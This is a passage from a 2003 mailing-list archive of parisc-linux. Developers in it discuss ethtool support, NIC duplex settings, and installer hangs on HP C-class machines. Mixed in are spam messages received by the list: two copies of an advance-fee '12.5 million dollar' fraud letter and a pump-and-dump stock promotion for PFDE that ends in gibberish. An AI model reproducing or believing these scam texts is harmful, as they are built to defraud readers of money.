was assigned on a secret mission to source and acquire arms  internationally =
in order to strengthen the Government forces against the rebels, which =
already had the support of Rwandan and Uganda Army.
 Meanwhile, he was still negotiating for the purchase of the arms, he =
received on the 16th January 2001 news of the assassination of Laurent Kabila =
which force him to call off the assignment and deposited the  sum of =
US$12.5M, Packed in a diplomatic case in a private security company in the =
Hague, the Netherlands, though he registered the content as precious  stones =
while the real content is (US12.5M) meant for the purchase of arms for  the =
Congolese Army. My father went home for the funeral of the late president, =
but on  his arrival he was arrested, detained and tortured, unfortunately my  =
father suffer cardiac arrest and died on the 17th of March 2001. However,one  =
of our
numerous visits, my mother and I paid him while in prison, my father  was =
able to reveal this secret to me and advice that we should proceed to  the =
Netherlands to claim the money, he handed me all the relevant  documents that
=

will enable me claim the box from the security company.Already, I have  made =
my first visit to the security company and the document entitled to  clear =
this money is with a finance security company in Holland.
 On our arrival in the Netherlands few months ago, we sought for  political =
asylum; which was granted. My mother and I are making frantic effort  on the =
best way to handle this money. We sought advice from an attorney who advised
that we must seek for a trustworthy foreign business partner whom can invest =
this fund in a profitable venture. This we view as the best option because =
our refugee status dose not permit us to operate a bank account, hence we =
seek your assistance and hope you could be trusted.
  Meanwhile, I sincerely ask for your assistance to get this money through =
your account, Your share for assisting us will be 25% of the totalsum, 5% =
will be use for upsetting all the expenses incurred in the courseof =
concluding this venture and the remaining 70% that will be for me and  my =
family. Also you stand to gain from any investment you might introduce us =
into after the conclusion of the transfer.
 Please keep this confidential until we finalize and get this money into your =
account for security reasons.
 This is my e-mail address you can reach  me:julietugaga21@netscape.net
 Thanks and GOD bless.
MISS  JULIET UGAGA  
--7c85db3d-73ef-46ae-bf71-2bde83ee74a3--



From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Mon, 27 Oct 2003 20:13:44 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20031027201344.GE5172@parcelfarce.linux.theplanet.co.uk>
References: <3F9BFB00.5090008@tiscali.be> <20031026172531.GA32146@colo.lackof.org> <3F9C3154.4060105@tiscali.be> <3F9C3854.80001@tiscali.be> <20031027193911.GA16012@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622914 822 80.91.229.3 (22 Nov 2014 02:21:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:54 +0000 (UTC)
Cc: Joel Soete <soete.joel@tiscali.be>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 27 13:13:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A04049E7
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Oct 2003 13:13:46 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AEDkG-0000Bi-AQ; Mon, 27 Oct 2003 20:13:44 +0000
Content-Disposition: inline
In-Reply-To: <20031027193911.GA16012@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19949

On Mon, Oct 27, 2003 at 12:39:11PM -0700, Grant Grundler wrote:
> On Sun, Oct 26, 2003 at 09:10:44PM +0000, Joel Soete wrote:
> > How may I find and reset the speed setup of a nic (I mean which 10 or 
> > 100 Mb, half or full duplex)?
> 
> ethtool?

I know the lasi_82596 driver doesn't support ethtool yet.

Someone who was interested and had time & the right machine could do some
serious work on lasi_82596:

 - Get rid of "static struct net_device *netdevs[MAX_DRIVERS];"
 - Make it work on peecees and 680x0 too and then get rid of the original
   82596 driver.
 - Add ethtool support.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: juliet ugaga <julietugaga22@netscape.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DEAR  FRIEND
Date: Tue, 28 Oct 2003 01:08:54 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20031028000851.96FCF484E@dsl2.external.hp.com>
Reply-To: julietugaga22@netscape.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="d7edaa13-df8a-416d-9cd5-00ea7665ec2f"
X-Trace: ger.gmane.org 1416622914 824 80.91.229.3 (22 Nov 2014 02:21:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 27 17:08:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netscape1736.com (node-c-049f.a2000.nl [62.194.4.159])
	by dsl2.external.hp.com (Postfix) with SMTP id 96FCF484E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Oct 2003 17:08:51 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19950

This is a multi-part message in MIME format
--d7edaa13-df8a-416d-9cd5-00ea7665ec2f
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Dear friend,
 Compliment of the day, I JULIET UGAGA, The son of late General  KuJI UGAGA =
of the Democratic Republic of Congo my  older son is 25 ,david, I  have a =
little baby "Godwin"
 My father was a General in the Congolese Army. In his position (My father) =
with the office of the presidentcy during the regime of Laurent kabila, he =
was assigned on a secret mission to source and acquire arms  internationally =
in order to strengthen the Government forces against the rebels, which =
already had the support of Rwandan and Uganda Army.
 Meanwhile, he was still negotiating for the purchase of the arms, he =
received on the 16th January 2001 news of the assassination of Laurent Kabila =
which force him to call off the assignment and deposited the  sum of =
US$12.5M, Packed in a diplomatic case in a private security company in the =
Hague, the Netherlands, though he registered the content as precious  stones =
while the real content is (US12.5M) meant for the purchase of arms for  the =
Congolese Army. My father went home for the funeral of the late president, =
but on  his arrival he was arrested, detained and tortured, unfortunately my  =
father suffer cardiac arrest and died on the 17th of March 2001. However,one  =
of our
numerous visits, my mother and I paid him while in prison, my father  was =
able to reveal this secret to me and advice that we should proceed to  the =
Netherlands to claim the money, he handed me all the relevant  documents that
=

will enable me claim the box from the security company.Already, I have  made =
my first visit to the security company and the document entitled to  clear =
this money is with a finance security company in Holland.
 On our arrival in the Netherlands few months ago, we sought for  political =
asylum; which was granted. My mother and I are making frantic effort  on the =
best way to handle this money. We sought advice from an attorney who advised
that we must seek for a trustworthy foreign business partner whom can invest =
this fund in a profitable venture. This we view as the best option because =
our refugee status dose not permit us to operate a bank account, hence we =
seek your assistance and hope you could be trusted.
  Meanwhile, I sincerely ask for your assistance to get this money through =
your account, Your share for assisting us will be 25% of the totalsum, 5% =
will be use for upsetting all the expenses incurred in the courseof =
concluding this venture and the remaining 70% that will be for me and  my =
family. Also you stand to gain from any investment you might introduce us =
into after the conclusion of the transfer.
 Please keep this confidential until we finalize and get this money into your =
account for security reasons.
 This is my e-mail address you can reach  me:julietugaga21@netscape.net
 Thanks and GOD bless.
MISS  JULIET UGAGA  
--d7edaa13-df8a-416d-9cd5-00ea7665ec2f--



From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Leippe <nick@byu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Install failure: C240, 3.0r1, 2003.09.24 and 2003.10.22 net inst isos
Date: Mon, 27 Oct 2003 20:33:00 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <200310271933.00659.nick@byu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622915 827 80.91.229.3 (22 Nov 2014 02:21:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:55 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 27 19:32:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sfcn.org (unknown [63.117.233.198])
	by dsl2.external.hp.com (Postfix) with ESMTP id D34DF4841
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Oct 2003 19:32:31 -0700 (MST)
Original-Received: from nick.leippe.com not authenticated [66.237.85.26]
	by sfcn.org with NetMail SMTP Agent $Revision:   3.22.1.3  $ on Novell NetWare;
	Mon, 27 Oct 2003 19:32:31 -0700
User-Agent: KMail/1.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19951

Hello all,

I just got my new C240 set up and attempted to install.  With either of

palinux-2.4.22-pa9-20030924-netinst.iso
palinux-2.4.22-pa13-20031022-netinst.iso

it boots into the debian installer and then promptly hangs at the 'select 
language' menu.  I dug around the archives and found an email about this 
from several years ago, but no resolution was posted.

So I dug out my 3.0r1 cd to try but got an HPMC a little ways into the 
kernel boot.  I know the 3.0r1 cd is good, since I successfully installed 
a C180 with it (besides checking the md5s, which I also did for the 
netinst isos).

HPUX 11.11 successfully boots on this machine, so I'm not leaning towards 
thinking there's a hardware fault.

Any ideas?  Need more info?--just tell me what and how to get it.


Nick



From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install failure: C240, 3.0r1, 2003.09.24 and 2003.10.22 net inst isos
Date: Mon, 27 Oct 2003 21:55:31 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <20031028045531.GA21288@colo.lackof.org>
References: <200310271933.00659.nick@byu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622915 830 80.91.229.3 (22 Nov 2014 02:21:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:55 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Nicholas Leippe <nick@byu.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 27 21:55:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9D6F4841
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Oct 2003 21:55:32 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 123AA298044; Mon, 27 Oct 2003 21:55:32 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 21216-04; Mon, 27 Oct 2003 21:55:31 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 34523298043; Mon, 27 Oct 2003 21:55:31 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200310271933.00659.nick@byu.edu>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19952

Nicholas,
thanks for the bug report.
Please see http://www.parisc-linux.org/faq/kernelbug-howto.html

more questions/comments below.

On Mon, Oct 27, 2003 at 08:33:00PM -0600, Nicholas Leippe wrote:
> Hello all,
> 
> I just got my new C240 set up and attempted to install.  With either of
> 
> palinux-2.4.22-pa9-20030924-netinst.iso
> palinux-2.4.22-pa13-20031022-netinst.iso
> 
> it boots into the debian installer and then promptly hangs at the 'select 
> language' menu.

See "Hung Kernels" section in the FAQ.

Did you try to install with serial console or graphics console?
With serial console, it's easier to capture the output.
And it's possible this bug only affects graphical console.

>   I dug around the archives and found an email about this 
> from several years ago, but no resolution was posted.

URL for mail you found?

> So I dug out my 3.0r1 cd to try but got an HPMC a little ways into the 
> kernel boot.  I know the 3.0r1 cd is good, since I successfully installed 
> a C180 with it (besides checking the md5s, which I also did for the 
> netinst isos).
> 
> HPUX 11.11 successfully boots on this machine, so I'm not leaning towards 
> thinking there's a hardware fault.
> 
> Any ideas?  Need more info?--just tell me what and how to get it.

"in io" output from the boot console handler would also be good.

thanks,
grant


From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Tue, 28 Oct 2003 09:39:48 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <3F98D67D00001BC1@ocpmta3.freegates.net>
References: <20031027193911.GA16012@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622915 832 80.91.229.3 (22 Nov 2014 02:21:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:55 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 28 01:39:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34C3048B4
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Oct 2003 01:39:52 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AEPOG-0003VM-00; Tue, 28 Oct 2003 09:39:48 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 28 Oct 2003 09:39:48 +0100
In-Reply-To: <20031027193911.GA16012@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19953

Grant, Matthew,

>>
>>On Sun, Oct 26, 2003 at 09:10:44PM +0000, Joel Soete wrote:
>> How may I find and reset the speed setup of a nic (I mean which 10 or

>> 100 Mb, half or full duplex)?
>
>ethtool?
>
I will check on my own pc (hp cards but don't remember the model)

hmm I test here with a 3C905B (on an hp vectra) but:
# ethtool eth0
Settings for eth0:
No data available

???

(same results on a b180 with eth0: Digital DS21143 Tulip rev 65 [last kernel
2.4.21])

>> In a second though I just remember that the pc boot first (i need 
>> minicom console to boot c110) then latter the c110. So it could be that

>> the first one is set in 100 half as default (no connection at boot time)

>> and the second 10 half?
>
>shouldn't matter unless auto-negotiation is broken for one driver or 
>the other. If they are point-to-point,

It is a cross-cable

> I expect the negotiation to take place when the link is brought up with

>the second NIC.

I am curious to see if ethtool works for my pc's nic to check the behaviour
on this side.

Thanks for all info,
    Joel



-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Janie Boyce" <m286fukqm@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] US Stock Market: PFDE - Last Picks .45 to 1.18....74 to 1.20...julinka
Date: Tue, 28 Oct 2003 12:21:00 -0500
Lines: 103
Approved: news@gmane.org
Message-ID: <i7-m9-3-l39z$2$j@dywvfzo.772>
Reply-To: "Janie Boyce" <m286fukqm@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="._E3.2B0A_.BB._AC._6.E"
X-Trace: ger.gmane.org 1416622915 837 80.91.229.3 (22 Nov 2014 02:21:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 28 10:28:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id B087C4841
	for <parisc-linux@parisc-linux.org>; Tue, 28 Oct 2003 10:28:00 -0700 (MST)
Original-Received: from c-24-99-11-76.atl.client2.attbi.com (c-24-99-11-76.atl.client2.attbi.com [24.99.11.76])
	by cuprel1.hp.com (Postfix) with SMTP id D40A9C2C
	for <parisc-linux@parisc-linux.org>; Tue, 28 Oct 2003 09:27:53 -0800 (PST)
Original-Received: from [194.161.191.201] by c-24-99-11-76.atl.client2.attbi.com SMTP id Bnx29eIfE3BHN3; Tue, 28 Oct 2003 12:21:00 -0500
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19954

--._E3.2B0A_.BB._AC._6.E
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

UPSIDE INTERNATIONAL - Searching Out Stocks with Big Upside Potential...th=
at have gone unnoticed until now.


UpSide International uncovers unusual trends and activity in stocks.  We l=
ook for signs of block trades and insider purchasing in order to uncover i=
nsight into uncommon trends.

Seven weeks ago, on Sept. 4th, we highlighted SUQU at 0.57. We set the tar=
get price at 1.20.  It hit a high of 1.18--we were very close. Our last pi=
ck was TRHL at 0.74 on Oct. 3rd.  Target was 1.13.  It hit 1.20.

Our focus now is on Paramco Financial: PFDE

New trading range (as of 10/28/03): Target -- 2.36.

Yesterday, a Long White Candlestick formed, and pressure was strong. The s=
tock is in position for a higher high and a higher low. Last week, a bulli=
sh gap occurred, which indicates an upward break out is imminent. The volu=
me is very high. Also,  PFDE just started an unusual trading pattern.  Lar=
ge blocks of shares are being bought.  Is this an indication of something?=
 Are large investors picking up PFDE, an institution, what's coming?

We have been seeing indicators with PFDE, the 20 - 50 Day MACD Oscillator =
is now indicating an uptrend, 20 Day Bollinger Bands have moved into an up=
grade indication.

Paramco Financial, founded in 1996, is a financial services holding compan=
y which specializes in the development and placement of commercial equipme=
nt leasing transactions and in assisting its clients with their capital fo=
rmation needs.

In 2001, Paramco began a major vertical expansion effort to enter into the=
 residential and commercial mort.gage industry, the mort.gage warehouse le=
nding business and the business of real estate investments through Paramco=
 Mort.gage Corporation and Paramco Investments, Inc.


RECENT NEWS
Paramco Financial Acquires Royal Federal - a company in highly profitable =
sector of mort.gage industry.

DENVER - (PRIMEZONE) -- Paramco Financial, Inc. (OTC BB:PFDE.OB - News), a=
 corporate financial services firm announced today that it has acquired al=
l of the issued and outstanding shares of Royal Federal, Inc., a New Orlea=
ns-based mort.gage company.

According to Douglas G. Gregg, Chairman and CEO of Paramco Financial, ``Th=
is strategic acquisition allows Paramco the unique possibility to deliver =
financial products that will finally fulfill the needs of the Louisiana an=
d Mississippi sub prime markets. This market consists of eager home seeker=
s who have a great deal of difficulty in purchasing a home for a variety o=
f financial reasons. Often the annual incomes of these prospective owners =
are not quite sufficient to meet the criteria of conventional lenders, or =
the clients are unable to afford the very large down payments required. Al=
so, the sub prime clients cannot live with the high rates that they are us=
ually offered. This acquisition we designed to address these particular pr=
oblems and I feel confident this merger will strengthen our bottom line wi=
th not only residential lending business but with the origination of comme=
rcial mort.gages and other types of client financing.''
































jikufaxvhj bynxdgk jc ijk 
p lrje yeouyftzlpfxwxmcrrmkqs 
 ory qzfbxtmcig rg

--._E3.2B0A_.BB._AC._6.E--



From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Tue, 28 Oct 2003 19:32:29 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <3F9EC44D.6040106@tiscali.be>
References: <3F98D67D00001BC1@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622916 839 80.91.229.3 (22 Nov 2014 02:21:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:56 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 28 12:32:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id BFD734841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Oct 2003 12:32:27 -0700 (MST)
Original-Received: from [62.235.120.215] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AEZZp-0007Je-CU; Tue, 28 Oct 2003 20:32:25 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <3F98D67D00001BC1@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19955

Hi all,

Sorry for this auto-answer but don't see how better follow-up without 
breacking thread?


Joel Soete wrote:
> Grant, Matthew,
> 
> 
> I will check on my own pc (hp cards but don't remember the model)
> 
> hmm I test here with a 3C905B (on an hp vectra) but:
> # ethtool eth0
> Settings for eth0:
> No data available
> 
> ???
> 
> (same results on a b180 with eth0: Digital DS21143 Tulip rev 65 [last kernel
> 2.4.21])
> 
And unfortunately no better results:
[...]
hp100: eth0: Busmaster mode enabled.
hp100: eth0: HP J2585B at 0xe400, IRQ 10, PCI bus, 32k SRAM (rx/tx 75%).
hp100: eth0: Adapter is attached to 10Mb/s network.
[...]

hmm I don't find the second nic in may dmesg (I just know that is also 
an hp but a bit older)?

Anyway:
  # ethtool eth1
Settings for eth1:
No data available
  # ethtool eth0
Settings for eth0:
No data available

Any idea (may be switching the two interfaces: I mean just change 
interfaces)?

Thanks again for your attention,
	Joel




From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
